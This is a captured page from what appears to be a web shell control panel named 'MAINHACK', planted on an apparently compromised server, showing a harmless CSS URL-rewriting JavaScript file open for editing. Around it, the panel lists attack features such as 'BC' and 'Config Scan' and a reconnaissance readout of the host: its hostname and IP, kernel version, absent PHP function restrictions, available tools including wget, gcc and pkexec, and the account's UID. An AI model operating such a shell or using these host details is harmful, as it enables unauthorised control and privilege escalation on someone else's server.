[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: rewrite-url.js
var path = require('path'); var url = require('url'); var isDataUriResource = require('../utils/is-data-uri-resource'); var DOUBLE_QUOTE = '"'; var SINGLE_QUOTE = '\''; var URL_PREFIX = 'url('; var URL_SUFFIX = ')'; var PROTOCOL_LESS_PREFIX_PATTERN = /^[^\w\d]*\/\//; var QUOTE_PREFIX_PATTERN = /^["']/; var QUOTE_SUFFIX_PATTERN = /["']$/; var ROUND_BRACKETS_PATTERN = /[\(\)]/; var URL_PREFIX_PATTERN = /^url\(/i; var URL_SUFFIX_PATTERN = /\)$/; var WHITESPACE_PATTERN = /\s/; var isWindows = process.platform == 'win32'; function rebase(uri, rebaseConfig) { if (!rebaseConfig) { return uri; } if (isAbsolute(uri) && !isRemote(rebaseConfig.toBase)) { return uri; } if (isRemote(uri) || isSVGMarker(uri) || isInternal(uri) || isDataUriResource(uri)) { return uri; } if (isRemote(rebaseConfig.toBase)) { return url.resolve(rebaseConfig.toBase, uri); } return rebaseConfig.absolute ? normalize(absolute(uri, rebaseConfig)) : normalize(relative(uri, rebaseConfig)); } function isAbsolute(uri) { return path.isAbsolute(uri); } function isSVGMarker(uri) { return uri[0] == '#'; } function isInternal(uri) { return /^\w+:\w+/.test(uri); } function isRemote(uri) { return /^[^:]+?:\/\//.test(uri) || PROTOCOL_LESS_PREFIX_PATTERN.test(uri); } function absolute(uri, rebaseConfig) { return path .resolve(path.join(rebaseConfig.fromBase || '', uri)) .replace(rebaseConfig.toBase, ''); } function relative(uri, rebaseConfig) { return path.relative(rebaseConfig.toBase, path.join(rebaseConfig.fromBase || '', uri)); } function normalize(uri) { return isWindows ? uri.replace(/\\/g, '/') : uri; } function quoteFor(unquotedUrl) { if (unquotedUrl.indexOf(SINGLE_QUOTE) > -1) { return DOUBLE_QUOTE; } else if (unquotedUrl.indexOf(DOUBLE_QUOTE) > -1) { return SINGLE_QUOTE; } else if (hasWhitespace(unquotedUrl) || hasRoundBrackets(unquotedUrl)) { return SINGLE_QUOTE; } else { return ''; } } function hasWhitespace(url) { return WHITESPACE_PATTERN.test(url); } function hasRoundBrackets(url) { return ROUND_BRACKETS_PATTERN.test(url); } function rewriteUrl(originalUrl, rebaseConfig, pathOnly) { var strippedUrl = originalUrl .replace(URL_PREFIX_PATTERN, '') .replace(URL_SUFFIX_PATTERN, '') .trim(); var unquotedUrl = strippedUrl .replace(QUOTE_PREFIX_PATTERN, '') .replace(QUOTE_SUFFIX_PATTERN, '') .trim(); var quote = strippedUrl[0] == SINGLE_QUOTE || strippedUrl[0] == DOUBLE_QUOTE ? strippedUrl[0] : quoteFor(unquotedUrl); return pathOnly ? rebase(unquotedUrl, rebaseConfig) : URL_PREFIX + quote + rebase(unquotedUrl, rebaseConfig) + quote + URL_SUFFIX; } module.exports = rewriteUrl;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002